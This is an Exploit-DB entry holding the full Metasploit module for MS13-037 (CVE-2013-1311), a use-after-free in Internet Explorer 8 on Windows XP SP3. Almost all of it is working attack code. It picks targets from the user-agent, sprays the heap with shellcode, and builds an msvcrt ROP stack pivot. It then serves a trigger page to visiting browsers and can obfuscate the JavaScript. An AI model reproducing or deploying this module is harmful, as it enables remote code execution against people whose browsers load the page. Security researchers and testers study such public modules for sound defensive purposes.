标题: Microsoft Internet Explorer - textNode Use-After-Free (MS13-037) (Metasploit) EDB-ID: 25999 CVE: 2013-1311 类型: REMOTE 平台: WINDOWS 发布日期: 2013-06-07 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::RopDb

 def initialize(info={})
  super(update_info(info,
   'Name'           => "MS13-037 Microsoft Internet Explorer textNode Use-After-Free",
   'Description'    => %q{
    This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
    where a DOM textNode pointer becomes corrupted after style computation. This pointer is then overwritten when the innerHTML property on the parent object is set.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2013-1311' ],
     [ 'MSB', 'MS13-037' ],
     [ 'URL', 'http://security-assessment.com/files/documents/advisory/ms13_037_ie_textnode_uaf.pdf' ]
    ],
   'Payload'   =>
    {
     'BadChars'       => "\x00",
     'Space'          => 812,
     'DisableNops'    => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'   => 'win',
   'Targets'   =>
    [
     [ 'Automatic', {} ],
     [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
    ],
   'Privileged'   => false,
   'DisclosureDate'  => "June 6 2013",
   'DefaultTarget'   => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class)

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

  ie_name = "IE #{ie}"

  case nt
  when '5.1'
   os_name = 'Windows XP SP3'
  end

  targets.each do |t|
   if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end

 def heap_spray(my_target, p)
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

  js = %Q|

   var heap_obj = new heapLib.ie(0x20000);
   var code = unescape("#{js_code}");
   var nops = unescape("#{js_nops}");
   while (nops.length < 0x80000) nops += nops;
   var offset = nops.substring(0, #{my_target['Offset']});
   var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
   while (shellcode.length < 0x40000) shellcode += shellcode;
   var block = shellcode.substring(0, (0x80000-6)/2);
   heap_obj.gc();
   for (var i=1; i < 0x300; i++) {
    heap_obj.alloc(block);
   }
   var overflow = nops.substring(0, 10);

  |

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate

  end

  return js
 end

 def get_payload(t, cli)
  code = payload.encoded

  # No rop. Just return the payload.
  return code if t['Rop'].nil?

  # ROP chain generated by mona.py - See corelan.be
  case t['Rop']
  when :msvcrt
   print_status("Using msvcrt ROP")

   stack_pivot = [
   0x77c1cafb, # POP EBP # RETN [msvcrt.dll]
   0x41414141, # Junk
   0x781a04cb # POP ECX # PUSH ESP # RETN [urlmon.dll]
   ].pack("V*")

   # Set up required heap layout
   junk = "#{Rex::Text.rand_text_alpha(4)}"
   null = "\x00"*4
   valid_ptr = [0x0c0c0c0c].pack("V*")
   offset = [0x0c0c0c6c].pack("V*")
   heap_foo = junk*5 +
    valid_ptr*2 +
    junk +
    offset +
    junk*4 +
    valid_ptr +
    junk*6 +
    valid_ptr +
    null +
    junk*2

   rop_payload = heap_foo << generate_rop_payload('msvcrt', "", {'pivot'=>stack_pivot, 'target'=>'xp'})
   rop_payload << code
  end

  return rop_payload
 end

 def get_exploit(my_target, cli)
  p  = get_payload(my_target, cli)
  js = heap_spray(my_target, p)

  html = %Q|
  <!doctype html>
  <html>
  <head>
  <script>
  #{js}
  function exploit() {
   var obj = document.createElement('s')
   obj.innerHTML = "⍼☠"
   document.body.appendChild(obj)

   document.styleSheets[0].cssText = "body:first-line{color:blue}"
   CollectGarbage()

   setTimeout(function(){
    for (i=0;i<1000;i++){
     obj.innerHTML = "\\u0c2c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c\\u0c0c";
    }
   }, 500)
  }
  </script>
  <style>
  </style>
  </head>
  <body onload='setTimeout("exploit()", 2000)'>
  </body>
  </html>
  |

  return html
 end


 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri
  print_status("Requesting: #{uri}")

  my_target = get_target(agent)
  # Avoid the attack if no suitable target found
  if my_target.nil?
   print_error("Browser not supported, sending 404: #{agent}")
   send_not_found(cli)
   return
  end

  html = get_exploit(my_target, cli)
  html = html.gsub(/^\t\t/, '')
  print_status "Sending HTML..."
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end URL: https://www.exploit-db.com/exploits/25999